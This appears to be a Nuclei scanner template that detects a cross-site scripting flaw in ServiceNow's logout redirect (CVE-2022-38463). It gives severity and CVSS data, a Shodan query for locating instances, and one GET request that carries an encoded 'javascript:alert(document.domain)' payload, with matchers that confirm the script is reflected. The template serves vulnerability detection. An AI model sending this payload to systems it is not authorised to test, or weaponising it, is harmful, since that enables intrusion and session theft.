ServiceNow - Cross-Site Scripting

id: CVE-2022-38463

info:
  name: ServiceNow - Cross-Site Scripting
  author: amanrawat
  severity: medium
  description: |
    ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement of the affected ServiceNow instance.
  remediation: |
    Apply the latest security patches provided by ServiceNow to mitigate this vulnerability.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38463
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38463
    cwe-id: CWE-79
    epss-score: 0.00174
    epss-percentile: 0.53646
    cpe: cpe:2.3:a:servicenow:servicenow:san_diego:patch_4:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query: http.title:"ServiceNow"
  tags: cve,cve2022,servicenow,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "top.location.href = 'javascript:alert(document.domain)';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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